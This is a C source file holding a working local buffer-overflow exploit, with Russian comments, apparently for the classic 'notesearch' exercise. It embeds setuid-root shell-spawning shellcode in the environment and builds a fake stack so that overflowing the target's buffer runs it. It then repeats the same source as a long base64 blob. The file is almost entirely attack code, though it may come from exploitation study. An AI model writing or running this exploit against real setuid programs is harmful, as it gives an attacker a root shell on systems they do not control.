#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
#include <stdint.h>
char shellcode[]= "ADDR"
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
char *env[2] = {shellcode, 0};
unsigned int i, start, fakestack, ret;
char *buffer
= (char *) malloc(160);
// 1. Вычисляем адрес shellcode. Тут все ок, пока не включена рандомизация.
start
= 0xbffffffa - (sizeof(shellcode
) - 1) - strlen("./notesearch");
// 2. В результате переполнения буфера при strcpy() мы затираем не только
// адрес возврата, но и стековый фрейм. В эпилоге main() стековый фрейм
// восстанавливается, и ESP начинает указывать не на адрес возврата, а на
// мусор, в результате мы получаем сегфолт. В эпилоге происходит примерно
// следующее:
// POP ECX ; ECX теперь почти frame pointer - указатель на аргументы main().
// LEA ESP,[ECX-4] ; Аргументы начинаются по ESP+4, значит, оригинальный ESP равен ECX-4.
// RETN ; Переходим по [ESP].
// 3. Т.е., чтобы эксплоит сработал, нам надо создать свой собственный стек
// из одного элемента и положить туда "правильный" адрес возврата. Для
// хранения "стека" используем первые 4 байта shellcode (где "ADDR").
// Вычисляем нужный адрес возврата у жертвы.
ret = start + 4;
// Пропатчиваем в наш "стек" нужный нам адрес возврата (вместо "ADDR").
*(uint32_t *) shellcode = ret;
// 4. Но мы помним, что в эпилоге main() от значения, которым мы будем
// заполнять буфер, отнимется 4, поэтому мы компенсируем это прибавлением 4
// к адресу нашего маленького стека.
fakestack = start + 4;
// 5. Заполняем буфер, переполняем буфер, ESP начинает указывать на наш
// стек, RETN берет из него адрес возврата, shellcode выполняется, профит.
for(i = 0; i < 160; i += 4)
*((unsigned int *)(buffer + i)) = fakestack;
execle("./notesearch", "notesearch", buffer, 0, env);
}
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN0cmluZy5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxhc3NlcnQuaD4KI2luY2x1ZGUgPHN0ZGludC5oPgoKY2hhciBzaGVsbGNvZGVbXT0gIkFERFIiCiAgICAgICAgICAgICAgICAgICJceDMxXHhjMFx4MzFceGRiXHgzMVx4YzlceDk5XHhiMFx4YTRceGNkXHg4MFx4NmFceDBiXHg1OFx4NTFceDY4IgogICAgICAgICAgICAgICAgICAiXHgyZlx4MmZceDczXHg2OFx4NjhceDJmXHg2Mlx4NjlceDZlXHg4OVx4ZTNceDUxXHg4OVx4ZTJceDUzXHg4OSIKICAgICAgICAgICAgICAgICAgIlx4ZTFceGNkXHg4MCI7CgppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKSB7CiAgICBjaGFyICplbnZbMl0gPSB7c2hlbGxjb2RlLCAwfTsKICAgIHVuc2lnbmVkIGludCBpLCBzdGFydCwgZmFrZXN0YWNrLCByZXQ7CiAgICBjaGFyICpidWZmZXIgPSAoY2hhciAqKSBtYWxsb2MoMTYwKTsKICAgIAogICAgLy8gMS4g0JLRi9GH0LjRgdC70Y/QtdC8INCw0LTRgNC10YEgc2hlbGxjb2RlLiDQotGD0YIg0LLRgdC1INC+0LosINC/0L7QutCwINC90LUg0LLQutC70Y7Rh9C10L3QsCDRgNCw0L3QtNC+0LzQuNC30LDRhtC40Y8uCiAgICBzdGFydCA9IDB4YmZmZmZmZmEgLSAoc2l6ZW9mKHNoZWxsY29kZSkgLSAxKSAtIHN0cmxlbigiLi9ub3Rlc2VhcmNoIik7CiAgICAKICAgIC8vIDIuINCSINGA0LXQt9GD0LvRjNGC0LDRgtC1INC/0LXRgNC10L/QvtC70L3QtdC90LjRjyDQsdGD0YTQtdGA0LAg0L/RgNC4IHN0cmNweSgpINC80Ysg0LfQsNGC0LjRgNCw0LXQvCDQvdC1INGC0L7Qu9GM0LrQvgogICAgLy8g0LDQtNGA0LXRgSDQstC+0LfQstGA0LDRgtCwLCDQvdC+INC4INGB0YLQtdC60L7QstGL0Lkg0YTRgNC10LnQvC4g0JIg0Y3Qv9C40LvQvtCz0LUgbWFpbigpINGB0YLQtdC60L7QstGL0Lkg0YTRgNC10LnQvAogICAgLy8g0LLQvtGB0YHRgtCw0L3QsNCy0LvQuNCy0LDQtdGC0YHRjywg0LggRVNQINC90LDRh9C40L3QsNC10YIg0YPQutCw0LfRi9Cy0LDRgtGMINC90LUg0L3QsCDQsNC00YDQtdGBINCy0L7Qt9Cy0YDQsNGC0LAsINCwINC90LAKICAgIC8vINC80YPRgdC+0YAsINCyINGA0LXQt9GD0LvRjNGC0LDRgtC1INC80Ysg0L/QvtC70YPRh9Cw0LXQvCDRgdC10LPRhNC+0LvRgi4g0JIg0Y3Qv9C40LvQvtCz0LUg0L/RgNC+0LjRgdGF0L7QtNC40YIg0L/RgNC40LzQtdGA0L3QvgogICAgLy8g0YHQu9C10LTRg9GO0YnQtdC1OgogICAgLy8gICAgIFBPUCBFQ1ggICAgICAgICA7IEVDWCDRgtC10L/QtdGA0Ywg0L/QvtGH0YLQuCBmcmFtZSBwb2ludGVyIC0g0YPQutCw0LfQsNGC0LXQu9GMINC90LAg0LDRgNCz0YPQvNC10L3RgtGLIG1haW4oKS4KICAgIC8vICAgICBMRUEgRVNQLFtFQ1gtNF0gOyDQkNGA0LPRg9C80LXQvdGC0Ysg0L3QsNGH0LjQvdCw0Y7RgtGB0Y8g0L/QviBFU1ArNCwg0LfQvdCw0YfQuNGCLCDQvtGA0LjQs9C40L3QsNC70YzQvdGL0LkgRVNQINGA0LDQstC10L0gRUNYLTQuCiAgICAvLyAgICAgUkVUTiAgICAgICAgICAgIDsg0J/QtdGA0LXRhdC+0LTQuNC8INC/0L4gW0VTUF0uCiAgICAKICAgIC8vIDMuINCiLtC1Liwg0YfRgtC+0LHRiyDRjdC60YHQv9C70L7QuNGCINGB0YDQsNCx0L7RgtCw0LssINC90LDQvCDQvdCw0LTQviDRgdC+0LfQtNCw0YLRjCDRgdCy0L7QuSDRgdC+0LHRgdGC0LLQtdC90L3Ri9C5INGB0YLQtdC6CiAgICAvLyDQuNC3INC+0LTQvdC+0LPQviDRjdC70LXQvNC10L3RgtCwINC4INC/0L7Qu9C+0LbQuNGC0Ywg0YLRg9C00LAgItC/0YDQsNCy0LjQu9GM0L3Ri9C5IiDQsNC00YDQtdGBINCy0L7Qt9Cy0YDQsNGC0LAuINCU0LvRjwogICAgLy8g0YXRgNCw0L3QtdC90LjRjyAi0YHRgtC10LrQsCIg0LjRgdC/0L7Qu9GM0LfRg9C10Lwg0L/QtdGA0LLRi9C1IDQg0LHQsNC50YLQsCBzaGVsbGNvZGUgKNCz0LTQtSAiQUREUiIpLgogICAgCiAgICAvLyDQktGL0YfQuNGB0LvRj9C10Lwg0L3Rg9C20L3Ri9C5INCw0LTRgNC10YEg0LLQvtC30LLRgNCw0YLQsCDRgyDQttC10YDRgtCy0YsuCiAgICByZXQgPSBzdGFydCArIDQ7CgogICAgLy8g0J/RgNC+0L/QsNGC0YfQuNCy0LDQtdC8INCyINC90LDRiCAi0YHRgtC10LoiINC90YPQttC90YvQuSDQvdCw0Lwg0LDQtNGA0LXRgSDQstC+0LfQstGA0LDRgtCwICjQstC80LXRgdGC0L4gIkFERFIiKS4KICAgICoodWludDMyX3QgKikgc2hlbGxjb2RlID0gcmV0OwoKICAgIC8vIDQuINCd0L4g0LzRiyDQv9C+0LzQvdC40LwsINGH0YLQviDQsiDRjdC/0LjQu9C+0LPQtSBtYWluKCkg0L7RgiDQt9C90LDRh9C10L3QuNGPLCDQutC+0YLQvtGA0YvQvCDQvNGLINCx0YPQtNC10LwKICAgIC8vINC30LDQv9C+0LvQvdGP0YLRjCDQsdGD0YTQtdGALCDQvtGC0L3QuNC80LXRgtGB0Y8gNCwg0L/QvtGN0YLQvtC80YMg0LzRiyDQutC+0LzQv9C10L3RgdC40YDRg9C10Lwg0Y3RgtC+INC/0YDQuNCx0LDQstC70LXQvdC40LXQvCA0CiAgICAvLyDQuiDQsNC00YDQtdGB0YMg0L3QsNGI0LXQs9C+INC80LDQu9C10L3RjNC60L7Qs9C+INGB0YLQtdC60LAuCiAgICBmYWtlc3RhY2sgPSBzdGFydCArIDQ7CiAgICAKICAgIC8vIDUuINCX0LDQv9C+0LvQvdGP0LXQvCDQsdGD0YTQtdGALCDQv9C10YDQtdC/0L7Qu9C90Y/QtdC8INCx0YPRhNC10YAsIEVTUCDQvdCw0YfQuNC90LDQtdGCINGD0LrQsNC30YvQstCw0YLRjCDQvdCwINC90LDRiAogICAgLy8g0YHRgtC10LosIFJFVE4g0LHQtdGA0LXRgiDQuNC3INC90LXQs9C+INCw0LTRgNC10YEg0LLQvtC30LLRgNCw0YLQsCwgc2hlbGxjb2RlINCy0YvQv9C+0LvQvdGP0LXRgtGB0Y8sINC/0YDQvtGE0LjRgi4KICAgIGZvcihpID0gMDsgaSA8IDE2MDsgaSArPSA0KQogICAgICAgICooKHVuc2lnbmVkIGludCAqKShidWZmZXIgKyBpKSkgPSBmYWtlc3RhY2s7CiAgICAKICAgIGV4ZWNsZSgiLi9ub3Rlc2VhcmNoIiwgIm5vdGVzZWFyY2giLCBidWZmZXIsIDAsIGVudik7CiAgICBmcmVlKGJ1ZmZlcik7Cn0K